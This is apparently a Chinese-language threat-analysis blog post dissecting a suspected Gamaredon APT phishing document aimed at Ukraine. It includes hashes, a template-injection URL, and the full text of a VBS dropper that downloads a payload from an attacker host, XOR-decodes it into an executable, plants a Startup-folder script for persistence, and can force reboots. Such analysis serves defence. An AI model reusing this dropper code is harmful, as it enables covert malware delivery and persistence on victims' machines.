0x00 前言

https://send.firefox.com/download/2cc8ac146d5da1b4/#vtGpxNhT5mLb7hNwZ-mgAg
最近在样本追踪中,发现了一例疑似Gamaredon的攻击,随后依靠开源情报,发现Gamaredon近期还比较活跃,近一个月投递了众多针对乌克兰地区的攻击样本。而Gamaredon是一个俄罗斯的APT攻击组织,首次出现于2013年,主要是针对乌克兰进行网络间谍活动。2017年,Palo Alto披露过该组织针对乌克兰攻击活动的细节,并首次将该组织命名为Gamaredon group。

0x01 基本信息

原始样本hash为:c0dc0c23e675d0c380e243fb36ee005e
vt上传时间为1月14日
image.png

样本下载后,通过winhex查看基本可以确定是office格式的文档
image.png

尝试压缩软件打开可知是docx文档
image.png

添加docx后缀打开之后,是熟悉的模板注入:
image.png
注入地址为 hxxp://dochlist[.]hopto.org/opt[.]dot

文档内容如下
image.png

通过查询,我们可以得知文章内容是乌克兰语,署名是<乌克兰安全局>
image.png

文档最上方的图案也对应了乌克兰安全局Служба безпеки України的官网图标
image.png

而根据对Gamaredon的了解,我们也知道该组织自2013年开始,就常针对乌克兰的政府人员发起攻击,常见手法便是伪装乌克兰安全局,分发相关的钓鱼邮件,与本次攻击颇为符合。

0x02 注入文档

将原始文档注入的dot下载到本地,MD5为689fab7a016dae57300048539a4c807e
注入的dot文档内容为空,是一个宏代码利用文档:
image.png

查看宏代码,是Gamaredon很常用的一套代码
image.png

宏代码最开始创建了两个对象
分别是Wscript.Shell和Wscript.Network,用于后面的shell执行以及网络请求

  1. Dim yOer
  2. yOer = "Set WShell=CreateObject(""WSc" + "ri" + "pt.S" + "hel" + "l"")"
  3. Set DurJ = CreateObject("WScr" + "ipt.Ne" + "two" + "rk")

然后通过代码创建Scripting.FileSystemObject对象以提供对文件系统的访问

  1. Set hIYg = CreateObject("Sc" + "rip" + "ting.Fi" + "leSy" + "stemOb" + "ject")

然后获取当前的主机信息,拼接为一个请求字符串,用于后续的请求
请求地址为 hxxp://skrembler[.]hopto[.]org/WIN-IHN30SD7IMB_9AC9AA87/tor[.]php”
image.png

宏代码执行完成后,会在C:\Users\Shyt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup路径下释放security.vbs文件
image.png

释放的vbs文件hash为195f3fab75ca0602a8c2053070dd1ca3

释放文件的代码格式化后如下:

  1. On Error Resume Next
  2. Dim MTYj
  3. MTYj = DateAdd("s", 25, Now())
  4. Do Until (Now() > MTYj)
  5. Loop
  6. Function CZeq(oBIE)
  7. On Error Resume Next
  8. Set bkDw = CreateObject("MSXML2.XMLHTTP")
  9. With bkDw
  10. .Open "GET", oBIE, False
  11. .send
  12. End With
  13. If bkDw.Status = 200 Then
  14. CZeq = bkDw.ResponseBody
  15. End If
  16. End Function
  17. Function Encode( FCkE, BGmO, msKq )
  18. Dim joCE, HHHm, NgjR, jIFy, vHqt, mzrI
  19. Const ForAppending = 8
  20. Const ForReading = 1
  21. Const ForWriting = 2
  22. Const TristateFalse = 0
  23. Const TristateMixed = -2
  24. Const TristateTrue = -1
  25. Const TristateUseDefault = -2
  26. On Error Resume Next
  27. If Not IsArray( msKq ) Then
  28. msKq = Array( msKq )
  29. End If
  30. For joCE = 0 To UBound( msKq )
  31. If Not IsNumeric( msKq(i) ) Then
  32. Encode = 1032
  33. Exit Function
  34. End If
  35. If msKq(joCE) < 0 Or msKq(joCE) > 255 Then
  36. Encode = 1031
  37. Exit Function
  38. End If
  39. Next
  40. Set HHHm = CreateObject( "Scripting.FileSystemObject" )
  41. If HHHm.FileExists( FCkE ) Then
  42. Set NgjR = HHHm.GetFile( FCkE )
  43. Set vHqt = NgjR.OpenAsTextStream( ForReading, TriStateFalse )
  44. Else
  45. vHqt.Close
  46. Set vHqt = Nothing
  47. Set NgjR = Nothing
  48. Set HHHm = Nothing
  49. Exit Function
  50. End If
  51. If HHHm.FileExists( BGmO ) Then
  52. vHqt.Close
  53. Set vHqt = Nothing
  54. Set NgjR = Nothing
  55. If HHHm.Fileexists( FCkE) Then HHHm.DeleteFile FCkE
  56. Set HHHm = Nothing
  57. Exit Function
  58. Else
  59. Set jIFy = HHHm.CreateTextFile( BGmO, True, False )
  60. End If
  61. set joCE = 0
  62. Do Until vHqt.AtEndOfStream
  63. For joCE = 0 To UBound( msKq )
  64. joCE + 1 mod ( UBound( msKq ))
  65. jIFy.Write Chr( Asc( vHqt.Read( 1 ) ) Xor msKq(joCE) )
  66. if vHqt.AtEndOfStream Then Exit Do
  67. Next
  68. Loop
  69. set joCE = 0
  70. Do Until vHqt.AtEndOfStream
  71. joCE = ( joCE + 1 ) \ ( UBound( msKq ) + 1 )
  72. jIFy.Write Chr( Asc( vHqt.Read( 1 ) ) Xor msKq(mzrI) )
  73. joCE=joCE+1
  74. If mzrI<UBound( msKq ) Then
  75. mzrI=mzrI+1
  76. else mzrI=0
  77. End If
  78. Loop
  79. jIFy.Close
  80. If HHHm.Fileexists(FCkE) Then HHHm.DeleteFile FCkE
  81. vHqt.Close
  82. Set vHqt = Nothing
  83. Set NgjR = Nothing
  84. Set jIFy = Nothing
  85. Set HHHm = Nothing
  86. On Error Goto 0
  87. End Function
  88. Function GetHKcc( KCel )
  89. Dim joCE, msKq( )
  90. ReDim msKq( Len( KCel ) - 1 )
  91. For joCE = 0 To UBound( msKq )
  92. msKq(joCE) = Asc( Mid( KCel, joCE + 1, 1 ) )
  93. Next
  94. GetHKcc = msKq
  95. End Function
  96. Function pdBR(ByVal QopZ)
  97. Dim qsGf
  98. Const EhpF = "abcdefghijklmnopqrstuvwxyz0123456789"
  99. Randomize
  100. For joCE = 1 To QopZ
  101. qsGf = qsGf & Mid(EhpF, Int(36 * Rnd + 1), 1)
  102. Next
  103. pdBR = qsGf
  104. End Function
  105. Sub save(data)
  106. Dim vNsF
  107. vNsF = "1"
  108. vNsF = pdBR(5)
  109. Set CQLk = CreateObject("Scripting.FileSystemObject")
  110. Set jSmA = CreateObject("ADODB.Stream")
  111. On Error Resume Next
  112. jSmA.Open
  113. jSmA.Type = 1
  114. jSmA.Write (data)
  115. jSmA.Position = 0
  116. Set CQLk = Nothing
  117. jSmA.SaveToFile "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt"
  118. jSmA.Close
  119. WScript.Sleep 7273
  120. Set PaKX = CreateObject("Scripting.FileSystemObject")
  121. Set lCPt = PaKX.GetFile("C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt")
  122. If lCPt.Size < 1025 Then lCPt.Delete
  123. Dim arrHKcc, kcEE
  124. arrHKcc = GetHKcc( "9AC9AA87")
  125. kcEE = Encode( "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt", "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+vNsF+".exe", arrHKcc )
  126. WScript.Sleep 6425
  127. If PaKX.FileExists( "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt" ) Then PaKX.DeleteFile "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt"
  128. If PaKX.FileExists( "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+vNsF+".exe" ) Then
  129. Set DeCQ = PaKX.CreateTextFile("C:\Users\Shyt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"+ vNsF +".vbs", True, True)
  130. DeCQ.Write "On Error Resume Next" & vbCrLf
  131. DeCQ.Write "Set PaKX = CreateObject(""Scripting.FileSystemObject"")"& vbCrLf
  132. DeCQ.Write "createobject(""Wscript.Shell"").run ""C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+vNsF+".exe"",0" & vbCrLf
  133. DeCQ.Write "PaKX.DeleteFile Wscript.ScriptFullName"& vbCrLf
  134. DeCQ.Close
  135. End If
  136. If kcEE <> 0 Then
  137. End If
  138. End Sub
  139. hutC = 1
  140. Do While hutC > 0
  141. WScript.Sleep 181224
  142. save CZeq("http://skrembler.hopto.org/WIN-IHN30SD7IMB_9AC9AA87/tor.php")
  143. Dim QKLN, zIvq, jJjj, CQLk
  144. Set YDJG = CreateObject("Scripting.FileSystemObject")
  145. QKLN = YDJG.GetParentFolderName("C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+vNsF+".exe")
  146. With WScript.CreateObject("Scripting.FileSystemObject")
  147. Set HHHm = CreateObject("Scripting.FileSystemObject")
  148. If HHHm.Fileexists("C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt") Then HHHm.DeleteFile "C:\Users\Shyt\AppData\Roaming\Microsoft\Excel\"+ vNsF +".txt"
  149. jJjj = 0
  150. For Each zIvq In .GetFolder(QKLN).Files
  151. If UCase(.GetExtensionName(zIvq.Name)) = UCase("exe") Then
  152. jJjj = jJjj + 1
  153. End If
  154. Next
  155. If (jJjj > 2) Then
  156. Dim NYBz, IHEL, IHELSheck
  157. Set NYBz = GetObject("WinMgmts:{(Shutdown,RemoteShutdown)}!\\.\Root\CIMV2:Win32_OperatingSystem")
  158. Set IHEL = NYBz.Instances_
  159. For Each IHELSheck In IHEL
  160. IHELSheck.Reboot()
  161. Next
  162. End If
  163. End With
  164. Loop

程序最开始通过

  1. On Error Resume Next
  2. Dim MTYj
  3. MTYj = DateAdd("s", 25, Now())
  4. Do Until (Now() > MTYj)
  5. Loop

启用一个循环,第一次见这种,不知道是不是反沙箱的设计

该程序的入口点在程序最下方,程序通过

  1. hutC = 1
  2. Do While hutC > 0
  3. WScript.Sleep 181224

的设置来启动一个永真循环,这里的slepp应该也是反沙箱的设计

接着程序尝试请求之前拼接好的请求地址,并且如果请求成功则会将返回的body做为参数传入到save函数用于保存

  1. save CZeq("http://skrembler.hopto.org/WIN-IHN30SD7IMB_9AC9AA87/tor.php")

Czeq函数如下
image.png

如果成功请求,则会将返回值写入到%APPDATA%\Microsoft\Excel\ 目录下,文件名为由pdBR生成的5位随机数
尝试将传入进来的data进行写入,写入之后程序会判断文件大小是否大于1025,如果小于则删除
如果文件大于1025说明成功请求,则会将txt文件作为参数传递到Encode进行解密,解密后会在当前目录释放一个与txt同名的exe文件。
exe文件成功释放之后程序会在%APPDATA%Microsoft\Windows\Start Menu\Programs\Startup\目录下释放一个同名的vbs文件,该vbs文件用于调用执行刚才解密的exe。
image.png

程序成功保存并运行后,攻击者还将通过指定目录下的exe个数来控制是否重启用户的计算机:
image.png